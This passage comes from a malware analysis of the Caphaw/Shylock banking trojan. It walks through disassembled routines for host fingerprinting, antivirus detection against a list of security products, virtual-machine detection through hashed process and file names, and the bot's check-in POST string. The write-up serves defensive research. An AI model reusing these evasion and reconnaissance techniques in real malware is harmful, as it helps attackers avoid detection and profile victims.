We will meet a certain number of call 00EF0B72 where the only parameter that varies is Name. Here’s a quick list of entries called:

“RegisteredOwner”

“RegisteredOrganization”

“CurrentVersion”

“CurrentBuild”

“CurrentBuildNumber”

“InstallDate”

Final information gathered can be summarised as follows:

Version=5.1.2600

InstallData=28.07.2013 14:09

Serial=XXXX

Key=XXXXXXX

RegisterUser=xp

Organization=none

XXX = we have removed our serials, hope you won’t mind :).

00EECA81 E8 E534FFFF CALL 00EDFF6B ; Determine if we are via SID check

This call uses AllocateAndInitializeSid and CheckTokenMembership in order to determine if the caller’s process is a member of the Administrators local group. More information can be found here: IsUserAdmin via CheckTokenMembership.

Final string:

Admin=Yes

FileSystem information

Next step involves collection of details about the FileSystem geometry of the victim:

00EDFA44 E8 EB8AFFFF CALL 00ED8534 ; GetLogicalDrives 00EDFA49 6A 02 PUSH 2 .. 00EDFAF5 8D45 F8 LEA EAX,[EBP-8] 00EDFAF8 8D7D E8 LEA EDI,[EBP-18] 00EDFAFB E8 9DFDFFFF CALL 00EDF89D ; GetDriveTypeA

Here we have a loop that iterates each logical drive and finally builds a synthesis of the gathered geometry, as reported below:

FS=C: [LOCAL,NTFS,T=9GB:U=2GB(25%)]D: [CD-ROM,CDFS,E: [REMOTE,VBoxSharedFolderFS,T=464GB:U=86GB(18%)]

Browser information gathering

Trojan now looks for installed browser(s) and version.

Decrypt string: "SOFTWARE\Microsoft\Internet Explorer" RegOpenKeyA("SOFTWARE\Microsoft\Internet Explorer") RegQueryValueExA with the following parameters: hKey = [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer] Name = "Version"

Final string:

“IE=6.0.2900.2180”

In the same way via “SOFTWARE\Mozilla\Mozilla Firefox” Shylock determines the presence and version of Firefox.

Final string:

“FF=3.6.28 (en-GB)”

We have also the following browsers and version checks:

Software\Google\Update\Client -> Chrome .

Software\Opera Software -> Opera .

Software\Apple Computer, Inc.\Safari -> Safari .

The trojan looks also for Maxthon browser presence, but in this case the check is performed by attempting to reach the following paths:

get ProgramFiles path via GetEnvironmentVariable decrypts “%s\Maxthon%u\Bin\maxthon.exe” string concatenates ProgramFiles with .2 Builds the following string: “C:\Program Files\Maxthon10\Bin\maxthon.exe” Check presence and version via GetFileVersionInfoSizeA, GetFileVersionInfoA Next iteration – jump to .2

This loop goes from Maxthon 10 to Maxthon 1.

Antivirus information gathering

In the next information extraction stage we meet the Antivirus awareness routine performed with the aim of determining the presence of AV software.

00EE19E6 E8 46A20000 CALL 00EEBC31 ; Decrypt the AV Name: Agava Firewall .. 00EE19F9 B8 6C6FEB00 MOV EAX,0EB6F6C 00EE19FE E8 2EA20000 CALL 00EEBC31 ; Fwservice.exe 00EE1A03 59 POP ECX

We have a long sequence of string decryption calls, which exposes AV Name and their Executable Filenames. In the following list we reported the full set of AV strings:

"Agava firewall" "Fwservice.exe" "AtGuard firewall" "iamapp.exe" "Authentium" "Avira" "AVG" "BitDefender" "BullGuard" "CA" "Comodo firewall" "Comcast Spyware Scan" "DeepFreeze" "Doctor Web" "Emsisoft" "Kaspersky" "Kerio firewall" "Malwarebytes" "MSEssentials" "Nod32" "NeT firewall" "Norton360" "Norton" "McAfee" "MS Firewall Client" "Lavasoft Ad-Aware" "OnlineArmor firewall" "Outpost firewall" "Panda" "Panda firewall" "Rapport" "PC Cleaner" "Prevx" "PC Tools" "Sophos" "SoftPerfect Personal Firewall" "Spyware Doctor" "SpybotSD" "SUPERAntiSpyware" "Symantec" "Trend Micro" "QuickHeal" "Webroot" "Windows Defender" "Virgin Media" "ZoneAlarm"

After the string decryption we can find the AV awareness routine:

00EE3979 E8 C053FFFF CALL 00ED8D3E ; CreateToolhelp32Snapshot 00EE397E 8945 D4 MOV DWORD PTR SS:[EBP-2C],EAX 00EE3981 83F8 FF CMP EAX,-1 00EE3984 0F84 72010000 JE 00EE3AFC 00EE398A BE 28010000 MOV ESI,128 00EE398F 56 PUSH ESI 00EE3990 8D85 A4FEFFFF LEA EAX,[EBP-15C] 00EE3996 6A 00 PUSH 0 00EE3998 50 PUSH EAX 00EE3999 E8 E6270100 CALL <JMP.memset> 00EE399E 83C4 0C ADD ESP,0C 00EE39A1 8D85 A4FEFFFF LEA EAX,[EBP-15C] 00EE39A7 50 PUSH EAX 00EE39A8 FF75 D4 PUSH DWORD PTR SS:[EBP-2C] 00EE39AB 89B5 A4FEFFFF MOV DWORD PTR SS:[EBP-15C],ESI 00EE39B1 E8 6557FFFF CALL 00ED911B ; Process32First 00EE39B6 E9 2E010000 JMP 00EE3AE9 00EE39BB 8365 DC 00 AND DWORD PTR SS:[EBP-24],00000000 00EE39BF 837D E8 00 CMP DWORD PTR SS:[EBP-18],0 00EE39C3 0F86 11010000 JBE 00EE3ADA 00EE39C9 8B45 E4 MOV EAX,DWORD PTR SS:[EBP-1C] 00EE39CC 8945 E0 MOV DWORD PTR SS:[EBP-20],EAX 00EE39CF 8D85 C8FEFFFF LEA EAX,[EBP-138] 00EE39D5 50 PUSH EAX ; Current running process item 00EE39D6 8D75 D8 LEA ESI,[EBP-28] 00EE39D9 E8 0F21FFFF CALL 00ED5AED ; Compare running process name with AV list

This code is pretty easy, Caphaw enumerates the running processes and compares each one against the previously decrypted AV list.

VM Awareness and characterisation

Caphaw also tries to determine if the malware is being executed in a Virtual Environment and determines what is the virtualization solution in use.

We will show here the two methods adopted:

Via running processes Via system files.

Let’s see the first one.

00ED6570 E8 C9270000 CALL 00ED8D3E ; CreateToolhelp32Snapshot 00ED6575 8BF8 MOV EDI,EAX 00ED6577 83FF FF CMP EDI,-1 00ED657A 74 62 JE SHORT 00ED65DE 00ED657C 68 28010000 PUSH 128 00ED6581 8D85 D4FEFFFF LEA EAX,[EBP-12C] 00ED6587 53 PUSH EBX 00ED6588 50 PUSH EAX 00ED6589 E8 F6FB0100 CALL <JMP.memset> ; Jump to msvcrt.memset 00ED658E 8D85 D4FEFFFF LEA EAX,[EBP-12C] 00ED6594 50 PUSH EAX 00ED6595 57 PUSH EDI 00ED6596 C785 D4FEFFFF 2 MOV DWORD PTR SS:[EBP-12C],128 00ED65A0 E8 762B0000 CALL 00ED911B ; Process32First 00ED65A5 83C4 14 ADD ESP,14 00ED65A8 EB 21 JMP SHORT 00ED65CB 00ED65AA 8D85 F8FEFFFF LEA EAX,[EBP-108] 00ED65B0 50 PUSH EAX ; EAX points to the process name 00ED65B1 E8 3D720000 CALL 00EDD7F3 00ED65B6 59 POP ECX 00ED65B7 3B45 08 CMP EAX,DWORD PTR SS:[EBP+8] ; compare computed dword with a list of dwords 00ED65BA 74 15 JE SHORT 00ED65D1 00ED65BC 8D85 D4FEFFFF LEA EAX,[EBP-12C] 00ED65C2 50 PUSH EAX 00ED65C3 57 PUSH EDI 00ED65C4 E8 232B0000 CALL 00ED90EC ; Process32Next 00ED65C9 59 POP ECX 00ED65CA 59 POP ECX 00ED65CB 85C0 TEST EAX,EAX 00ED65CD ^ 75 DB JNE SHORT 00ED65AA ; Next process name

Inside call 00EDD7F3

00EDD51F 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] ; Process name in uppercase 00EDD522 33D2 XOR EDX,EDX 00EDD524 FC CLD 00EDD525 33C0 XOR EAX,EAX 00EDD527 AC LODS BYTE PTR DS:[ESI] ; Place in AL one character of the process name 00EDD528 0BC0 OR EAX,EAX 00EDD52A 74 07 JE SHORT 00EDD533 00EDD52C 33D0 XOR EDX,EAX 00EDD52E C1CA 03 ROR EDX,3 00EDD531 ^ EB F2 JMP SHORT 00EDD525 00EDD533 8955 FC MOV DWORD PTR SS:[EBP-4],EDX ; Computed DWORD in EDX is placed in EBP-4 00EDD536 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] ; then moved in EAX

This is a way to check for the presence of a certain running process, instead of using a classical string compare between two names, it computes an encoded DWORD and checks it against a list of precomputed encoded DWORDs. The immediate effect is to perform a check without disclosing the process that Caphaw is looking for.

Via system files

Another way to reach the same goal is by looking for some specific system file left by the virtualization solution. In first instance Caphaw builds a list of interesting system files, then we find the following piece of code:

00EE1387 8B45 E0 MOV EAX,DWORD PTR SS:[EBP-20] 00EE138A 3BC7 CMP EAX,EDI 00EE138C 75 04 JNE SHORT 00EE1392 00EE138E 33C0 XOR EAX,EAX 00EE1390 EB 03 JMP SHORT 00EE1395 00EE1392 8D04B0 LEA EAX,[ESI*4+EAX] 00EE1395 FF30 PUSH DWORD PTR DS:[EAX] ; EAX points to the system filename 00EE1397 E8 57C4FFFF CALL 00EDD7F3 ; build DWORD from the filename (same algorithm of case .1) 00EE139C 59 POP ECX 00EE139D 3D 8822ED23 CMP EAX,23ED2288 00EE13A2 0F84 D3000000 JE 00EE147B 00EE13A8 3D 1346FA2F CMP EAX,2FFA4613 00EE13AD 0F84 C8000000 JE 00EE147B 00EE13B3 3D 10C656F0 CMP EAX,F056C610 00EE13B8 0F84 BD000000 JE 00EE147B 00EE13BE 3D E82FFC23 CMP EAX,23FC2FE8 00EE13C3 0F84 B2000000 JE 00EE147B 00EE13C9 3D A8B4DE23 CMP EAX,23DEB4A8 00EE13CE 0F84 A7000000 JE 00EE147B 00EE13D4 46 INC ESI 00EE13D5 3B75 E4 CMP ESI,DWORD PTR SS:[EBP-1C] 00EE13D8 ^ 72 AD JB SHORT 00EE1387

The concept is pretty similar to the method 1 (same DWORD value build algorithm) but this time it is applied to the system’s

filenames. We can place a breakpoint on 00EE147B and check what happens. In our case we are running VirtualBox and situation

at address 00EE147B is:

EAX = 23DEB4A8

ECX = points to ‘VBoxGuest.sys’

Caphaw correctly spotted the presence of VBoxGuest.sys which is a specific VirtualBox driver.

Finally at the end we have the following strings:

AntiMalwares=VirtualBox

VirtualMachine=Yes

Immediately after we get the assembled bot specific strings:

Botnet=net2

HJVer=1.7.11.12850

BuildTime=2013.08.23 12:55:38

0EED05D 50 PUSH EAX 00EED05E E8 5B35FFFF CALL 00EE05BE ; get specific userinit.exe informations 00EED063 59 POP ECX

Below we reported the collected details:



Installed software:

0EED12D 50 PUSH EAX 00EED12E E8 763FFFFF CALL 00EE10A9 ; build a list of the installed programs 00EED133 59 POP ECX

Installed=HKEY_LOCAL_MACHINE Cerbero Profilerversion 0.7Explorer Suite IV Mozilla Firefox (3.6.28) Oracle VMVirtualBox Guest Additions 4.2.16 WinPcap 4.1.3 Wireshark 1.10.1 (32-bit)

Processes list

00EED18D 50 PUSH EAX 00EED18E E8 5C2BFFFF CALL 00EDFCEF ; get processes list 00EED193 83C4 08 ADD ESP,8

Here how look at the end of gathering process:

[System Process]System smss.exe ==> \SystemRoot\System32\smss.exe csrss.exe == \??\C:\WINDOWS\system32\csrss.exe winlogon.exe ==> \??\C:\WINDOWS\system32\winlogon.exe services.exe ==> C:\WINDOWS\system32\services.exe

We have running_process_filename ==> path_of_the_executable

Get CPU status

00EED1E8 8D45 DC LEA EAX,[EBP-24] 00EED1EB E8 DF0EFFFF CALL 00EDE0CF ; Dump Registry and other CPU current status 00EED1F0 8D4D D8 LEA ECX,[EBP-28]

In sythesis we have :

crc=C913#00000000 EAX=00000005 EBX=756E6547 ECX=6C65746E EDX=49656E69

#00000001 EAX=000306A9 EBX=00000800 ECX=00000209 EDX=078BF9FF

#00000002EAX=76035A01 EBX=00F0B2FF ECX=00000000 EDX=00CA0000

#80000002 EAX=20202020 EBX=49202020 ECX=6C65746E EDX=20295228

#80000003 EAX=65726F43 EBX=294D5428 ECX=2D356920 EDX=30313233

#80000004 EAX=5043204D EBX=20402055 ECX=30352E32 EDX=007A4847

Get current timestamp values

00EED22D 8BF8 MOV EDI,EAX 00EED22F E8 93300000 CALL 00EF02C7 00EED234 8B30 MOV ESI,DWORD PTR DS:[EAX] ; ASCII "2013.10.01+12%3a56%3a52.577"

Bot specific POST data

00EED274 B8 449EEB00 MOV EAX,0EB9E44 00EED279 E8 B3E9FFFF CALL 00EEBC31 ; Decrypt "&net=%s&cmd=log&w=cmpinfo&bt=%s&ver=%s&time=%s&t=" 00EED27E 59 POP ECX

Finally we have:

“&net=net2&cmd=log&w=cmpinfo&bt=2013.08.23+12%3a55%3a38&ver=1.7.11.12850&time=2013.10.01+12%3a56%3a52.577&t=”

please note that net’s value is equal to the previously seen Botnet=net2.

00EED2EB E8 EE9DFFFF CALL 00EE70DE ; build final Bot specific string 00EED2F0 8D45 EC LEA EAX,[EBP-14]

The most important element of this call is given by “key=”, we reported below how this value is build:

MD5('85085085085') = "77487c28cbc78c457a3413a3cae1ac29" Get first 10 bytes of the hash '77487c28cb' MD5('77487c28cb') = "a323e7d52db72c389f4a804f2361639d" Get first 10 bytes of the hash 'a323e7d52d' key=a323e7d52d

Finally we have:

key=a323e7d52d&id=571C8ECED4FAF69E4A38507B4417257B&inst=master

The end of this phase is decreed by the following call which assembles ALL information collected until now.

00EED2C6 8D7D FC LEA EDI,[EBP-4] 00EED2C9 E8 F92F0000 CALL 00EF02C7 00EED2CE 59 POP ECX ;ECX points to the build data buffer

Conclusions for the first episode

Here it ends the first chapter of Caphaw/Shylock analysis, stay tuned for the other two.

In this episode we have observed the malware from its dropping zone and after we went through static and dynamic analysis of PE and unpacking. Once we’ve reached the unpacked core we have analysed its first functional steps up to the HSE::Step 5. In the next episodes we will see: